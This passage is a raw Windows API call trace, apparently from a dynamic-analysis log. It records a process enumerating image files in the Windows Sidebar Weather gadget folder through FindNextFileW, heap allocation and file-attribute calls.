hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1 [0080.968] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 0 [0080.968] GetLastError () returned 0x12 [0080.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0080.969] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0080.970] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.970] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a61aa77, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a61aa77, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.970] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.970] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.970] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.970] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.971] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.971] NtClose (Handle=0x174) returned 0x0 [0080.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0080.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0080.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.974] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.974] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0080.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230fd0 [0080.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff878 [0080.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12310d8 [0080.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.976] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0080.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff898 [0080.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231830 [0080.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.977] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0080.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff8b8 [0080.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231938 [0080.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.978] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8680f0bd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8680f0bd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 1 [0080.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff8d8 [0080.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231a40 [0080.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.980] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="120DPI", cAlternateFileName="")) returned 1 [0080.980] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0080.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff8f8 [0080.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231b48 [0080.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.981] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8683521a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8683521a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aab74d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1 [0080.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.981] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.981] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff918 [0080.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231c50 [0080.982] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.982] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="144DPI", cAlternateFileName="")) returned 1 [0080.982] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aadd637, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0080.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff938 [0080.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231d58 [0080.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.983] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8685b377, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8685b377, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 1 [0080.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff958 [0080.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231e60 [0080.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.985] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868814d4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868814d4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 1 [0080.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff978 [0080.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1231f68 [0080.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6340) returned 0x1256d98 [0080.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250a90) returned 1 [0080.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.987] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868a7631, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868a7631, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab03795, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 1 [0080.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff998 [0080.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232070 [0080.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.989] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868cd78e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868cd78e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 1 [0080.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff9b8 [0080.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232178 [0080.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.990] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0080.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff9d8 [0080.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232280 [0080.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.991] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0080.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff9f8 [0080.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232388 [0080.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.992] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 1 [0080.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ffa18 [0080.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1232490 [0080.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.994] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, 